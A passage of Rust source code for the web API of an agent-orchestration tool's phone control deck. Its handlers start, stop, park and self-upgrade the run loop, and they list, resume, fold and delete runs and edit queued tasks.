1705    last_error: Option<String>,
1706}
1707
1708/// A loop in flight.
1709#[derive(Debug)]
1710struct Live {
1711    /// The cooperative stop, shared with the loop task.
1712    stop: daemon::Stop,
1713    /// The task itself, kept only to answer whether it is still there: a loop
1714    /// that panicked never records its own end, and without this the view
1715    /// would go on reporting a loop that no longer exists - the one lie that
1716    /// would leave the operator with no button to press.
1717    handle: tokio::task::JoinHandle<()>,
1718    /// What the loop was started with, so the view reports the repository and
1719    /// merge mode its runs will actually use rather than what an edit to the
1720    /// config since would give.
1721    opts: daemon::Opts,
1722}
1723
1724impl Live {
1725    /// Is the task still there? See [`Live::handle`].
1726    fn alive(&self) -> bool {
1727        !self.handle.is_finished()
1728    }
1729}
1730
1731/// Take the loop lock, recovering from a poisoned one.
1732///
1733/// What this mutex holds is a stop flag, a task handle and two counters, none
1734/// of which a panic elsewhere can leave in a state worth refusing to read.
1735/// Propagating the poison instead would mean an operator who can see the loop
1736/// running and can no longer stop it from the only surface they have.
1737fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1738    state.lock().unwrap_or_else(PoisonError::into_inner)
1739}
1740
1741/// `GET /api/loop`.
1742async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1743    blocking(move || {
1744        let reading = daemon::read_status(&ui.home);
1745        Ok(Json(ui.loop_view(reading)))
1746    })
1747    .await
1748}
1749
1750/// The body of `POST /api/loop`.
1751///
1752/// One required field and nothing else: no `default` and no unknown fields,
1753/// so a body that fails to say which way the switch was flipped is a 400
1754/// rather than a tap that quietly does the opposite of what was pressed.
1755#[derive(Debug, Deserialize)]
1756#[serde(deny_unknown_fields)]
1757struct LoopCommand {
1758    running: bool,
1759    /// Stop the run in flight at its next node boundary rather than letting it
1760    /// finish.
1761    ///
1762    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1763    /// competition is tens of minutes of paid work and finishing it is
1764    /// normally the cheapest thing to do. A park is for the operator who
1765    /// wants the process gone now - to replace the binary, most of all - and
1766    /// it costs at most the node in progress because every node writes its
1767    /// state before the next one starts.
1768    #[serde(default)]
1769    park: bool,
1770}
1771
1772/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1773///
1774/// Answers with the view rather than waiting for the loop to reach the state
1775/// that was asked for. Starting is immediate anyway; stopping is not, and the
1776/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1777/// request open for. `stopping` in the answer is what the operator watches
1778/// instead.
1779async fn loop_post(
1780    State(ui): State<Arc<Ui>>,
1781    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1782) -> ApiResult<Json<LoopView>> {
1783    // Taken as a `Result` so a malformed body is a 400 like every other route
1784    // here, rather than axum's default 422 that the UI has no branch for.
1785    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1786    blocking(move || {
1787        let reading = daemon::read_status(&ui.home);
1788        let foreign = Foreign::of(reading.as_ref());
1789        if body.running {
1790            ui.start_loop(foreign)?;
1791        } else {
1792            ui.stop_loop(foreign, body.park)?;
1793        }
1794        Ok(Json(ui.loop_view(reading)))
1795    })
1796    .await
1797}
1798
1799/// What `POST /api/upgrade` set in motion.
1800#[derive(Debug, Serialize)]
1801struct UpgradeView {
1802    /// The version this process is running.
1803    from: String,
1804    /// The release it is replacing itself with, when there is one.
1805    to: Option<String>,
1806    /// A run was parked first, and this is its id.
1807    parked: Option<String>,
1808    /// What the operator should expect to happen next.
1809    detail: String,
1810}
1811
1812/// `POST /api/upgrade` - replace this binary with the newest release and come
1813/// back on it.
1814///
1815/// The one thing the deck could not do for itself. Every fix landed today
1816/// either waited for a competition to end or went in with the deck stopped,
1817/// because `cargo install` cannot overwrite a running executable on Windows.
1818/// `kaishin` can: `self_replace` **renames** the running image aside and puts
1819/// the new one in its place, so the swap itself needs no downtime. Only the
1820/// restart does, and the order is the whole design:
1821///
1822/// 1. **Park.** A run in flight stops at its next node boundary and stays
1823///    resumable, so this costs at most the node in progress rather than the
1824///    competition. Without it the honest choices were waiting an hour or
1825///    discarding paid agent work.
1826/// 2. **Replace.** The new binary goes into place while this one still runs.
1827/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
1828///    successor - see [`spawn_successor`] for what happens in the other
1829///    order.
1830/// 4. **Resume.** The next loop carries the parked run on rather than
1831///    competing again; see `daemon::attempt`.
1832///
1833/// Answers **202**: the reply has to reach the phone while this process can
1834/// still send one, and the phone learns the deck is back by reconnecting.
1835async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1836    let reading = daemon::read_status(&ui.home);
1837    if let Some(other) = Foreign::of(reading.as_ref()) {
1838        return Err(ApiError::conflict(format!(
1839            "the loop belongs to {}, so replacing this binary would leave \
1840             that process running an old one against the same queue. Upgrade \
1841             where it was started.",
1842            other.who()
1843        )));
1844    }
1845
1846    // The same kill switch the background check honours (`disabled_by_env`),
1847    // checked before anything else for the same reason it is read before the
1848    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
1849    // contact GitHub from this process", and a button press must not
1850    // override that any more than a broken `magi.toml` may.
1851    if crate::updater::disabled_by_env() {
1852        return Ok((
1853            StatusCode::OK,
1854            Json(UpgradeView {
1855                from: env!("CARGO_PKG_VERSION").to_owned(),
1856                to: None,
1857                parked: None,
1858                detail: format!(
1859                    "Automatic updates are disabled by {}. Nothing was parked \
1860                     and nothing restarted.",
1861                    crate::updater::NO_AUTOUPDATE_ENV
1862                ),
1863            }),
1864        ));
1865    }
1866
1867    // Asked before anything is disturbed. Restarting when there is nothing
1868    // to install is not a harmless no-op: it parks the run in flight and
1869    // drops every connection to pay for an upgrade that did not happen. A
1870    // probe against a deck already on the newest build did exactly that.
1871    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1872    let from = env!("CARGO_PKG_VERSION").to_owned();
1873    let latest = match crate::updater::Checker::new(&cfg.update) {
1874        Some(checker) => checker
1875            .newer_release()
1876            .await
1877            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1878        None => None,
1879    };
1880    let Some(latest) = latest else {
1881        return Ok((
1882            StatusCode::OK,
1883            Json(UpgradeView {
1884                from,
1885                to: None,
1886                parked: None,
1887                detail: "Already on the newest release. Nothing was parked \
1888                         and nothing restarted."
1889                    .to_owned(),
1890            }),
1891        ));
1892    };
1893
1894    // Parked before anything is replaced: a successor that came up while a
1895    // run was mid-node would find a run nobody is driving.
1896    let parked = ui.park_for_upgrade()?;
1897    let detail = match &parked {
1898        // Honest about the wait. A park takes effect at the *next* node
1899        // boundary, so a run mid-implement finishes that wave first - up to
1900        // `timeout_implement`, an hour by default. Saying "restarting now"
1901        // would make the deck look wedged for the rest of it.
1902        Some(run) => format!(
1903            "Run {} is parking at its next step, which can take as long as \
1904             the step it is on - up to an hour for an implement wave. The \
1905             deck replaces itself once it parks, comes back, and the loop \
1906             carries that run on from where it stopped. Nothing is lost if \
1907             you close this.",
1908            crate::run::short_of(run)
1909        ),
1910        None => "The deck replaces itself and comes back. Nothing was in \
1911                 flight to park."
1912            .to_owned(),
1913    };
1914
1915    // Recorded before the spawn, not inside it: the phone's next `/api/health`
1916    // poll must see a `Downloading` stage immediately, not whenever the
1917    // spawned task happens to get scheduled.
1918    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
1919    progress.parked_run = parked.clone();
1920    let _ = updater::write_progress(&ui.home, &progress);
1921
1922    let home = ui.home.clone();
1923    tokio::spawn(async move {
1924        if let Err(e) = upgrade_and_restart(home.clone()).await {
1925            tracing::error!("the upgrade did not complete: {e:#}");
1926            if let Some(mut progress) = updater::read_progress(&home) {
1927                progress.fail(format!("{e:#}"));
1928                let _ = updater::write_progress(&home, &progress);
1929            }
1930        }
1931    });
1932
1933    Ok((
1934        StatusCode::ACCEPTED,
1935        Json(UpgradeView {
1936            from,
1937            to: Some(latest.tag_name),
1938            parked,
1939            detail,
1940        }),
1941    ))
1942}
1943
1944/// Replace the binary, then ask [`serve`] to hand the address over.
1945///
1946/// Separated from the handler so the 202 is already on its way, and separated
1947/// from the spawn so the successor starts only after the listener is dropped.
1948async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
1949    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
1950    // hang the upgrade for as long as the process lives.
1951    crate::updater::run_self_update(true, false, true).await?;
1952    tracing::info!("binary replaced - asking the server to hand over");
1953    if let Some(mut progress) = updater::read_progress(&home) {
1954        progress.advance(updater::Stage::Replaced);
1955        let _ = updater::write_progress(&home, &progress);
1956    }
1957    HANDOVER.notify_one();
1958    Ok(())
1959}
1960
1961/// One row in the run list.
1962///
1963/// The list route returns this rather than whole `RunState`s: the summary of a
1964/// run is a few hundred bytes and the state is megabytes, and the difference
1965/// is what makes the history usable on a mobile link.
1966#[derive(Debug, Serialize)]
1967struct RunSummary {
1968    id: String,
1969    short: String,
1970    status: String,
1971    done: bool,
1972    instruction: String,
1973    title: String,
1974    repo: String,
1975    repo_name: String,
1976    created_at: String,
1977    updated_at: String,
1978    candidates: usize,
1979    viable: usize,
1980    judges: usize,
1981    winner: Option<char>,
1982    reviews: usize,
1983    quota_losses: usize,
1984    event: Option<String>,
1985    /// The later attempt at the same task that replaced this one, if any.
1986    ///
1987    /// Two cards with one title is otherwise unreadable: this is what lets
1988    /// the deck say "superseded by 4043" on the older of the pair.
1989    superseded_by: Option<String>,
1990    /// Blocked on a question nobody has answered.
1991    ///
1992    /// Derived from the question store rather than stored on the run: an agent
1993    /// calling `magi ask` blocks mid-node, and writing a status from there
1994    /// would race the graph's own save of `run.json` and be overwritten at the
1995    /// next node boundary. Asking the store is always true and never races.
1996    waiting: bool,
1997    /// The land loop's last look at the pull request, when there is one.
1998    pr: Option<crate::run::PrRecord>,
1999}
2000
2001impl RunSummary {
2002    fn of(state: &RunState, waiting: bool) -> Self {
2003        Self {
2004            id: state.id.clone(),
2005            short: state.short().to_owned(),
2006            status: status_word(state.status),
2007            done: state.status.done(),
2008            instruction: state.instruction.clone(),
2009            title: title_from(&state.instruction, TITLE_MAX),
2010            repo: state.repo.display().to_string(),
2011            repo_name: state
2012                .repo
2013                .file_name()
2014                .map(|n| n.to_string_lossy().into_owned())
2015                .unwrap_or_default(),
2016            created_at: state.created_at.to_string(),
2017            updated_at: state.updated_at.to_string(),
2018            candidates: state.candidates.len(),
2019            viable: state.viable().len(),
2020            judges: state.config.graph.judges,
2021            winner: state.winner().map(|c| c.label),
2022            reviews: state.reviews.len(),
2023            quota_losses: state.quota.len(),
2024            event: state.events.last().map(|e| e.message.clone()),
2025            waiting,
2026            // Filled in by the list route, which is the only place that can
2027            // see a task's other attempts.
2028            superseded_by: None,
2029            pr: state.pr.clone(),
2030        }
2031    }
2032}
2033
2034/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2035/// the same string `serde` writes for the status inside a full run.
2036fn status_word(status: RunStatus) -> String {
2037    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2038    // was a third way of naming the same statuses, and one that changed
2039    // silently with a derive.
2040    status.as_str().to_owned()
2041}
2042
2043/// `?limit=`, clamped by the handler.
2044#[derive(Debug, Deserialize)]
2045struct ListQuery {
2046    #[serde(default)]
2047    limit: Option<usize>,
2048}
2049
2050async fn runs_list(
2051    State(ui): State<Arc<Ui>>,
2052    Query(q): Query<ListQuery>,
2053) -> ApiResult<Json<Vec<RunSummary>>> {
2054    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2055    blocking(move || {
2056        let superseded = superseded_runs(&ui.queue);
2057        let summaries = run_ids(&ui.runs)
2058            .into_iter()
2059            // A run whose state cannot be read is skipped, not fatal: a run
2060            // killed mid-write must not blank the history of every other one.
2061            // The detail route still explains it, which is where an operator
2062            // asking "what happened to that run" ends up.
2063            .filter_map(|id| read_run(&ui.runs, &id).ok())
2064            .take(limit)
2065            .map(|state| {
2066                let waiting = !ui.questions.open_for(&state.id).is_empty();
2067                let by = superseded.get(&state.id).cloned();
2068                let mut row = RunSummary::of(&state, waiting);
2069                row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2070                row
2071            })
2072            .collect();
2073        Ok(Json(summaries))
2074    })
2075    .await
2076}
2077
2078/// Runs that a later attempt at the same task replaced, mapped to the id of
2079/// the attempt that replaced them.
2080///
2081/// A task keeps its attempts in order, and the deck showed them as two cards
2082/// with the same title and no hint which was which: yukimemi asked why
2083/// `stalled` and `blocked` appeared twice for one task, and the answer -
2084/// "those are two tries, and the second one exists because of a bug since
2085/// fixed" - was not on the screen anywhere.
2086///
2087/// Read from the queue rather than stored on the run, because the ordering is
2088/// the queue's fact: a `RunState` has no idea another attempt happened after
2089/// it.
2090fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2091    let mut by = HashMap::new();
2092    for task in queue.list() {
2093        for pair in task.runs.windows(2) {
2094            if let [earlier, later] = pair {
2095                by.insert(earlier.clone(), later.clone());
2096            }
2097        }
2098    }
2099    by
2100}
2101
2102/// A run as the detail route hands it to the phone.
2103///
2104/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2105/// the instruction as markdown, and the raw `instruction` field this struct
2106/// still carries (unchanged) is what a client wanting the exact bytes reads
2107/// instead.
2108#[derive(Debug, Serialize)]
2109struct RunDetailView {
2110    #[serde(flatten)]
2111    state: RunState,
2112    instruction_md: Vec<md::Node>,
2113    /// Whether a live daemon currently claims this run.
2114    ///
2115    /// `state.active` (flattened in above) is only ever cleared by the
2116    /// process that populated it; a killed one leaves its last wave's
2117    /// entries behind. Carrying this alongside is what lets the phone rail
2118    /// tell "this seat is still answering" from "this seat was still
2119    /// answering when whatever was driving this run died" without a second
2120    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2121    /// proof of either.
2122    live: bool,
2123}
2124
2125impl RunDetailView {
2126    fn of(state: RunState, live: bool) -> Self {
2127        Self {
2128            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2129            live,
2130            state,
2131        }
2132    }
2133}
2134
2135async fn run_detail(
2136    State(ui): State<Arc<Ui>>,
2137    Path(id): Path<String>,
2138) -> ApiResult<Json<RunDetailView>> {
2139    blocking(move || {
2140        let id = resolve_run(&ui.runs, &id)?;
2141        let state = read_run(&ui.runs, &id)?;
2142        let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2143        Ok(Json(RunDetailView::of(state, live)))
2144    })
2145    .await
2146}
2147
2148/// `DELETE /api/runs/{id}`.
2149///
2150/// Remove a finished, folded run directory along with its artifacts.
2151/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2152/// deleted. This never touches git worktrees or branches - except for a run
2153/// whose state this build cannot read at all, where there is no candidate
2154/// list to check and the wholesale removal `magi fold` already uses for that
2155/// case is the only meaningful "delete".
2156async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2157    let (id, unreadable) = {
2158        let ui = Arc::clone(&ui);
2159        blocking(move || {
2160            let id = resolve_run(&ui.runs, &id)?;
2161            match read_run(&ui.runs, &id) {
2162                Ok(state) => {
2163                    let in_flight =
2164                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2165                    state
2166                        .ensure_can_delete(in_flight)
2167                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2168                    let dir = ui.runs.join(&id);
2169                    std::fs::remove_dir_all(&dir)
2170                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2171                    Ok((id, false))
2172                }
2173                Err(_) => {
2174                    // Unreadable: there is no candidate list to guard on, so
2175                    // a live daemon's claim is the only thing left to check -
2176                    // the same rule `run_fold` applies for the same reason.
2177                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2178                        return Err(ApiError::conflict(format!(
2179                            "run {id} is being worked on by a live daemon right now"
2180                        )));
2181                    }
2182                    Ok((id, true))
2183                }
2184            }
2185        })
2186        .await?
2187    };
2188    if unreadable {
2189        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2190            .await
2191            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2192    }
2193    let ui = Arc::clone(&ui);
2194    let done = id.clone();
2195    blocking(move || {
2196        // The agent that asked died with the run, so an open question would
2197        // keep asking the operator for a decision nobody can deliver.
2198        ui.questions.abandon_for_run(
2199            &done,
2200            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2201        )?;
2202        Ok(())
2203    })
2204    .await?;
2205    Ok(StatusCode::NO_CONTENT)
2206}
2207
2208/// `POST /api/runs/{id}/fold`.
2209///
2210/// Remove a run's candidate worktrees and branches, keeping its record.
2211///
2212/// This exists because the deck answered "delete this run" with *"Candidates
2213/// must be folded before deleting. Run `magi fold` first."* — a phone being
2214/// told to open a terminal, in the one product whose point is that it does
2215/// not need one. The runs an operator most wants gone are the stalled and
2216/// blocked ones, and those are exactly the runs still holding worktrees:
2217/// three of them here held 53 GB.
2218///
2219/// The winner's tree goes too. A fold is what someone asks for when they are
2220/// finished with a run, and leaving one tree behind would leave the delete
2221/// button disabled for the same reason as before.
2222///
2223/// Refused while a live daemon is working on the run, on the rule that guards
2224/// deletion: folding underneath a running agent would pull the tree it is
2225/// editing out from under it.
2226///
2227/// A run whose state this build cannot read at all falls back to
2228/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2229/// selectively, so the whole record's worktree goes wholesale, exactly what
2230/// `magi fold` does on the command line for the same run.
2231async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2232    let (id, state) = {
2233        let ui = Arc::clone(&ui);
2234        blocking(move || {
2235            let id = resolve_run(&ui.runs, &id)?;
2236            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2237                return Err(ApiError::conflict(format!(
2238                    "run {id} is being worked on by a live daemon right now"
2239                )));
2240            }
2241            let state = read_run(&ui.runs, &id).ok();
2242            Ok((id, state))
2243        })
2244        .await?
2245    };
2246    let removed = match state {
2247        Some(mut state) => crate::graph::fold_run(&mut state, true)
2248            .await
2249            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2250        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2251            .await
2252            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2253    };
2254    Ok(Json(FoldView {
2255        run: id,
2256        removed_count: removed.len(),
2257        removed,
2258    }))
2259}
2260
2261/// What a fold took away, so the deck can say so rather than only re-render.
2262#[derive(Debug, Serialize)]
2263struct FoldView {
2264    run: String,
2265    /// Worktree paths and branch names removed, in the order they went.
2266    removed: Vec<String>,
2267    removed_count: usize,
2268}
2269
2270/// `POST /api/runs/{id}/resume`.
2271///
2272/// Carry a stalled run on from where it stopped, in the background.
2273///
2274/// A stalled card says "the work is kept" and used to offer no way to act on
2275/// that: the candidates are built and paid for, and continuing means re-asking
2276/// only the seats whose absence collapsed the panel. The alternative an
2277/// operator actually had was releasing the task, which competes three fresh
2278/// implementations against work that already exists.
2279///
2280/// **202, not 200.** A resume runs agents for minutes; holding the connection
2281/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
2282/// phone learns the outcome from the change stream.
2283///
2284/// Refused when the loop is running at all, not merely when it is on this run.
2285/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2286/// started a second graph on top of whatever the loop is already driving —
2287/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2288/// allows — would spend that quota twice over for no extra throughput.
2289async fn run_resume(
2290    State(ui): State<Arc<Ui>>,
2291    Path(id): Path<String>,
2292) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2293    let (id, state) = {
2294        let ui = Arc::clone(&ui);
2295        blocking(move || {
2296            let id = resolve_run(&ui.runs, &id)?;
2297            let state = read_run(&ui.runs, &id)?;
2298            Ok((id, state))
2299        })
2300        .await?
2301    };
2302    if !state.status.resumable() {
2303        return Err(ApiError::conflict(format!(
2304            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2305            state.short(),
2306            status_word(state.status)
2307        )));
2308    }
2309    // Refused whenever the loop is running anything at all, not merely when
2310    // it is on this run: a manual resume racing a loop-driven run over the
2311    // same agent quota is the thing this guard exists to prevent, whether
2312    // the loop's own concurrency is one run or several.
2313    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2314        .into_iter()
2315        .next()
2316    {
2317        return Err(ApiError::conflict(format!(
2318            "the loop is running run {} right now; stop it first, or wait for \
2319             it to finish, before resuming a run by hand.",
2320            crate::run::short_of(&work.run)
2321        )));
2322    }
2323    let _resume = ui.begin_resume(&id)?;
2324
2325    // The same shape the list route returns, so the phone updates the card it
2326    // already has rather than learning a second schema for one button.
2327    let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2328    let run = id.clone();
2329    tokio::spawn(async move {
2330        let _resume = _resume;
2331        match crate::graph::Runner::resume(&run) {
2332            Ok(mut runner) => {
2333                if let Err(e) = runner.execute().await {
2334                    tracing::warn!("resume of run {run} stopped: {e:#}");
2335                }
2336            }
2337            // The run's own record is what the phone reads; this line is for
2338            // the operator's terminal.
2339            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2340        }
2341    });
2342    Ok((StatusCode::ACCEPTED, Json(queued)))
2343}
2344
2345async fn run_report(
2346    State(ui): State<Arc<Ui>>,
2347    Path(id): Path<String>,
2348) -> ApiResult<impl IntoResponse> {
2349    let text = blocking(move || {
2350        let id = resolve_run(&ui.runs, &id)?;
2351        // Colour is off for the whole process, set once in `serve`. Rendering
2352        // is CPU work over the full state, which is the other reason this is
2353        // not on the executor.
2354        let state = read_run(&ui.runs, &id)?;
2355        let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2356        Ok(format!(
2357            "{}{}",
2358            report::run(&state),
2359            report::active_seats(&state, live)
2360        ))
2361    })
2362    .await?;
2363    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2364}
2365
2366/// A task as the UI sees it.
2367///
2368/// The whole task, plus the two things the client would otherwise have to
2369/// reimplement: the human-readable source and the status string. Nothing is
2370/// removed - the phone shows `last_error` and the run history verbatim.
2371#[derive(Debug, Serialize)]
2372struct TaskView {
2373    #[serde(flatten)]
2374    task: Task,
2375    source_label: String,
2376    status_str: &'static str,
2377    /// The instruction, parsed as markdown, for the Queue card's "Full
2378    /// instruction" panel. `task.instruction` is unchanged and still carries
2379    /// the raw text.
2380    instruction_md: Vec<md::Node>,
2381}
2382
2383impl From<Task> for TaskView {
2384    fn from(task: Task) -> Self {
2385        Self {
2386            source_label: task.source.label(),
2387            status_str: task.status.as_str(),
2388            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2389            task,
2390        }
2391    }
2392}
2393
2394/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2395/// its absence, leaves the cache to decide.
2396#[derive(Debug, Default, Deserialize)]
2397#[serde(default)]
2398struct ReposQuery {
2399    refresh: u8,
2400}
2401
2402/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
2403/// listing `magi repos` prints at a terminal.
2404///
2405/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
2406/// so an edit to `magi.toml` takes effect without a restart, the same
2407/// reasoning [`config_for`] documents for the talk routes.
2408async fn repos_list(
2409    State(ui): State<Arc<Ui>>,
2410    Query(q): Query<ReposQuery>,
2411) -> ApiResult<Json<Vec<repos::Repo>>> {
2412    let refresh = q.refresh != 0;
2413    blocking(move || {
2414        let (cfg, _) = Config::discover(&ui.repo, None)?;
2415        Ok(Json(ui.repos_cache.list(
2416            &cfg.repos.roots,
2417            Duration::from_secs(cfg.repos.scan_ttl),
2418            refresh,
2419        )))
2420    })
2421    .await
2422}
2423
2424async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2425    blocking(move || {
2426        Ok(Json(
2427            ui.queue.list().into_iter().map(TaskView::from).collect(),
2428        ))
2429    })
2430    .await
2431}
2432
2433/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
2434/// gives no reason - which must keep working, since not every hold has one.
2435#[derive(Debug, Default, Deserialize)]
2436#[serde(default, deny_unknown_fields)]
2437struct HoldBody {
2438    reason: Option<String>,
2439}
2440
2441async fn queue_hold(
2442    State(ui): State<Arc<Ui>>,
2443    Path(id): Path<String>,
2444    body: std::result::Result<Json<HoldBody>, JsonRejection>,
2445) -> ApiResult<Json<TaskView>> {
2446    // An absent body is the ordinary case - most holds are unexplained, and
2447    // that has to stay a one-tap action rather than a form. A body that is
2448    // present and malformed is still a bad request.
2449    let body = match body {
2450        Ok(Json(body)) => body,
2451        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2452        Err(e) => return Err(ApiError::bad_request(e.body_text())),
2453    };
2454    let reason = body.reason.filter(|r| !r.trim().is_empty());
2455    mutate(ui, id, move |t| {
2456        t.hold(reason.clone());
2457        Ok(())
2458    })
2459    .await
2460}
2461
2462async fn queue_release(
2463    State(ui): State<Arc<Ui>>,
2464    Path(id): Path<String>,
2465) -> ApiResult<Json<TaskView>> {
2466    mutate(ui, id, |t| {
2467        t.release();
2468        Ok(())
2469    })
2470    .await
2471}
2472
2473/// The body of `POST /api/queue/{id}/priority`.
2474#[derive(Debug, Deserialize)]
2475#[serde(deny_unknown_fields)]
2476struct PriorityBody {
2477    priority: i32,
2478}
2479
2480/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
2481///
2482/// [`Task::set_priority`] is the one place the "not while running" rule is
2483/// stated; this route only carries the body to it and lets its `Err` become
2484/// the 4xx the card shows.
2485async fn queue_priority(
2486    State(ui): State<Arc<Ui>>,
2487    Path(id): Path<String>,
2488    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2489) -> ApiResult<Json<TaskView>> {
2490    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2491    mutate(ui, id, move |t| t.set_priority(body.priority)).await
2492}
2493
2494/// The body of `POST /api/queue/{id}/edit`.
2495#[derive(Debug, Deserialize)]
2496#[serde(deny_unknown_fields)]
2497struct EditBody {
2498    title: String,
2499    instruction: String,
2500}
2501
2502/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
2503/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
2504/// that refusal's message is what the sheet shows back.
2505async fn queue_edit(
2506    State(ui): State<Arc<Ui>>,
2507    Path(id): Path<String>,
2508    body: std::result::Result<Json<EditBody>, JsonRejection>,
2509) -> ApiResult<Json<TaskView>> {
2510    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2511    mutate(ui, id, move |t| {
2512        t.edit(body.title.clone(), body.instruction.clone())
2513    })
2514    .await
2515}
2516
2517/// `POST /api/queue/{id}/done` - close a task as finished without deleting
2518/// it, so the phone's other way to clear a task from the backlog does not
2519/// have to cost the run history, the attribution, and `created_at` the way
2520/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
2521/// can be marked done by hand, because this is for the run the loop never
2522/// saw land - a merge done by hand, or a gate that misreported - and that can
2523/// happen from any status the task was left in.
2524async fn queue_done(
2525    State(ui): State<Arc<Ui>>,
2526    Path(id): Path<String>,
2527) -> ApiResult<Json<TaskView>> {
2528    mutate(ui, id, |t| {
2529        t.succeed();
2530        Ok(())
2531    })
2532    .await
2533}
2534
2535/// `DELETE /api/queue/{id}`.
2536///
2537/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
2538/// names this task: a `running` status or an orphaned `.lock` left behind by a
2539/// killed daemon is a leftover, and treating either as authority made the
2540/// task undeletable from the phone for good. The associated runs, if any, are
2541/// kept: a run is self-contained history and not an appendage of the task.
2542async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2543    blocking(move || {
2544        let id = resolve_task(&ui.queue, &id)?;
2545        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2546        ui.queue
2547            .remove(&id, in_flight)
2548            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2549        Ok(StatusCode::NO_CONTENT)
2550    })
2551    .await
2552}
2553
2554/// Read a task, change it, write it back, under the queue's own lock.
2555///
2556/// Taking the same claim a daemon takes is what makes hold, release,
2557/// priority, edit, and done safe to press while magi is running: without it
2558/// the daemon's next save would land on top of the operator's change and
2559/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
2560/// both do, for a running task - and that refusal becomes the 4xx the card
2561/// shows, same as any other domain rule.
2562async fn mutate(
2563    ui: Arc<Ui>,
2564    id: String,
2565    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2566) -> ApiResult<Json<TaskView>> {
2567    blocking(move || {
2568        let id = resolve_task(&ui.queue, &id)?;
2569        // `claim` fails when the lock file already exists, which is the
2570        // conflict the UI must report: the daemon owns that task's file for
2571        // as long as it is running it, and our write would be lost under its
2572        // next save. The message names the lock either way.
2573        let _claim = ui.queue.claim(&id).map_err(|e| {
2574            ApiError::conflict(format!(
2575                "{e:#} - a daemon is running this task, so it cannot be \
2576                 changed from here yet"
2577            ))
2578        })?;
2579        let mut task = ui.queue.get(&id)?;
2580        change(&mut task).map_err(ApiError::bad_request_from)?;
2581        ui.queue.put(&mut task)?;
2582        Ok(Json(TaskView::from(task)))
2583    })
2584    .await
2585}
2586
2587/// The change stream: one revision number per store, on connect and whenever
2588/// any of them moves.
2589///
2590/// The poll runs in one spawned task per client, which is affordable because
2591/// the work is a directory scan and a `stat` per file. It stops as soon as the
2592/// receiver is gone, so a phone that walks out of range costs nothing after
2593/// its next tick - there is no session and no cleanup to forget.
2594async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
